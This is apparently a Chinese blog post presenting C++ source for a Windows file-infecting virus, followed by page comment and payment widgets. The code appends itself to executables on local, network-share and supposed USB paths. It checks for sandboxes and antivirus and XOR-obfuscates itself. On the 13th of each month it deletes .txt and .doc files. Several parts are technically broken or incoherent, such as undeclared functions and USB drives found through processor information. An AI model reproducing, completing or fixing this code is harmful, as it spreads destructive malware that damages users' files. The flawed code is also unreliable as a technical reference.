超级病毒C++

#include <windows.h>
#include <fstream>
#include <vector>
#include <string>
#include <ctime>

using namespace std;

// 全局变量:病毒签名和加密密钥
const char* VIRUS_SIGNATURE = "REBEL_VIRUS";
const char ENCRYPTION_KEY = 0x42; // 任意选择的加密密钥

// 函数声明
bool IsInfected(const char* filePath);
void InfectFile(const char* filePath);
void ExecutePayload();
void EncryptVirus(char* code, size_t length, char key);
void DecryptVirus(char* code, size_t length, char key);
void InfectNetworkShares();
void InfectUSBDevices();

// 主函数:病毒入口点
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    // 解密病毒代码
    char* code = (char*)hInstance;
    size_t codeLength = (size_t)hInstance + 0x1000; // 假设代码段大小为 4KB
    DecryptVirus(code, codeLength, ENCRYPTION_KEY);

    // 检查是否在沙箱环境中运行
    if (IsSandboxEnvironment()) {
        return 0;
    }

    // 感染本地文件
    InfectLocalFiles();

    // 感染网络共享
    InfectNetworkShares();

    // 感染 USB 设备
    InfectUSBDevices();

    // 检查触发条件并执行 payload
    if (CheckTriggerCondition()) {
        ExecutePayload();
    }

    // 加密病毒代码以避免检测
    EncryptVirus(code, codeLength, ENCRYPTION_KEY);

    return 0;
}

// 检查文件是否已被感染
bool IsInfected(const char* filePath) {
    HANDLE hFile = CreateFileA(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return false;

    DWORD fileSize = GetFileSize(hFile, NULL);
    if (fileSize < 100) {
        CloseHandle(hFile);
        return false;
    }

    char buffer[100];
    ReadFile(hFile, buffer, 100, &fileSize, NULL);
    CloseHandle(hFile);

    // 检查病毒签名
    return strstr(buffer, VIRUS_SIGNATURE) != NULL;
}

// 感染文件
void InfectFile(const char* filePath) {
    if (IsInfected(filePath)) return;

    // 读取病毒代码
    ifstream virusFile("virus.exe", ios::binary);
    vector<char> virusCode((istreambuf_iterator<char>(virusFile)), istreambuf_iterator<char>());
    virusFile.close();

    // 将病毒代码附加到目标文件
    ofstream targetFile(filePath, ios::app | ios::binary);
    targetFile.write(virusCode.data(), virusCode.size());
    targetFile.close();

    // 添加病毒签名到文件头部
    HANDLE hFile = CreateFileA(filePath, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
    WriteFile(hFile, VIRUS_SIGNATURE, strlen(VIRUS_SIGNATURE), NULL, NULL);
    CloseHandle(hFile);
}

// 感染本地文件
void InfectLocalFiles() {
    WIN32_FIND_DATA findData;
    HANDLE hFind = FindFirstFile("C:\\*.exe", &findData);

    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
                string filePath = "C:\\" + string(findData.cFileName);
                InfectFile(filePath.c_str());
            }
        } while (FindNextFile(hFind, &findData));
        FindClose(hFind);
    }
}

// 感染网络共享
void InfectNetworkShares() {
    NETRESOURCE nr;
    nr.dwScope = RESOURCE_GLOBALNET;
    nr.dwType = RESOURCETYPE_ANY;
    nr.dwDisplayType = 0;
    nr.dwUsage = 0;
    nr.lpLocalName = NULL;
    nr.lpRemoteName = NULL;
    nr.lpComment = NULL;
    nr.lpProvider = NULL;

    DWORD dwResult = 0;
    DWORD dwEnum = 0;
    HANDLE hEnum;

    dwResult = WNetOpenEnumA(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, &nr, &hEnum);
    if (dwResult == NO_ERROR) {
        do {
            dwResult = WNetEnumResourceA(hEnum, &dwEnum, &nr, NULL);
            if (dwResult == NO_ERROR && nr.dwType == RESOURCETYPE_DISK) {
                string networkPath = nr.lpRemoteName;
                networkPath += "\\*.exe";

                WIN32_FIND_DATA findData;
                HANDLE hFind = FindFirstFile(networkPath.c_str(), &findData);

                if (hFind != INVALID_HANDLE_VALUE) {
                    do {
                        if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
                            string filePath = networkPath;
                            filePath = filePath.substr(0, filePath.find("\\*.exe")) + "\\" + findData.cFileName;
                            InfectFile(filePath.c_str());
                        }
                    } while (FindNextFile(hFind, &findData));
                    FindClose(hFind);
                }
            }
        } while (dwEnum < 10); // 限制扫描的网络资源数量
        WNetCloseEnum(hEnum);
    }
}

// 感染 USB 设备
void InfectUSBDevices() {
    SYSTEM_LOGICAL_PROCESSOR_INFORMATION* sysInfo;
    DWORD bufferSize = 0;

    GetLogicalProcessorInformation(sysInfo, &bufferSize);
    sysInfo = (SYSTEM_LOGICAL_PROCESSOR_INFORMATION*)malloc(bufferSize);
    GetLogicalProcessorInformation(sysInfo, &bufferSize);

    for (int i = 0; i < bufferSize / sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION); i++) {
        if (sysInfo[i].Relationship == RelationProcessorCore) {
            string usbPath = "\\\\.\\PhysicalDrive";
            usbPath += to_string(i);

            WIN32_FIND_DATA findData;
            HANDLE hFind = FindFirstFile((usbPath + "\\*.exe").c_str(), &findData);

            if (hFind != INVALID_HANDLE_VALUE) {
                do {
                    if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
                        string filePath = usbPath + "\\" + findData.cFileName;
                        InfectFile(filePath.c_str());
                    }
                } while (FindNextFile(hFind, &findData));
                FindClose(hFind);
            }
        }
    }
    free(sysInfo);
}

// 执行 payload:删除所有 .txt 和 .doc 文件
void ExecutePayload() {
    WIN32_FIND_DATA findData;
    HANDLE hFind = FindFirstFile("C:\\*.txt", &findData);

    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
                DeleteFileA(findData.cFileName);
            }
        } while (FindNextFile(hFind, &findData));
        FindClose(hFind);
    }

    hFind = FindFirstFile("C:\\*.doc", &findData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
                DeleteFileA(findData.cFileName);
            }
        } while (FindNextFile(hFind, &findData));
        FindClose(hFind);
    }
}

// 检查触发条件
bool CheckTriggerCondition() {
    SYSTEMTIME st;
    GetLocalTime(&st);

    // 在每个月的 13 号执行 payload
    return st.wDay == 13;
}

// 检查是否在沙箱环境中运行
bool IsSandboxEnvironment() {
    // 检查常见的沙箱特征
    if (GetEnvironmentVariableA("PROGRAMW6432", NULL, 0) == 0) return true;
    if (GetEnvironmentVariableA("TEMP", NULL, 0) > 1024) return true;
    if (GetEnvironmentVariableA("USERDOMAIN", NULL, 0) < 5) return true;
    if (GetEnvironmentVariableA("USERNAME", NULL, 0) < 5) return true;
    if (GetEnvironmentVariableA("WINDIR", NULL, 0) < 10) return true;

    // 检查常见的虚拟机特征
    if (GetSystemMetrics(SM_DEBUG) != 0) return true;
    if (GetSystemMetrics(SM_CLEANBOOT) != 0) return true;
    if (GetSystemMetrics(SM_CXVIRTUALSCREEN) < 1024) return true;
    if (GetSystemMetrics(SM_CYVIRTUALSCREEN) < 768) return true;

    // 检查常见的杀毒软件
    if (FileExists("C:\\Program Files\\AVG\\avgtray.exe")) return true;
    if (FileExists("C:\\Program Files\\Norton\\norton.exe")) return true;
    if (FileExists("C:\\Program Files\\McAfee\\mcafee.exe")) return true;

    return false;
}

// 加密病毒代码
void EncryptVirus(char* code, size_t length, char key) {
    for (size_t i = 0; i < length; i++) {
        code[i] ^= key;
    }
}

// 解密病毒代码
void DecryptVirus(char* code, size_t length, char key) {
    EncryptVirus(code, length, key); // XOR 再次加密即为解密
}

// 检查文件是否存在
bool FileExists(const char* filePath) {
    DWORD dwAttrib = GetFileAttributesA(filePath);
    return (dwAttrib != INVALID_FILE_ATTRIBUTES);
}
 

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值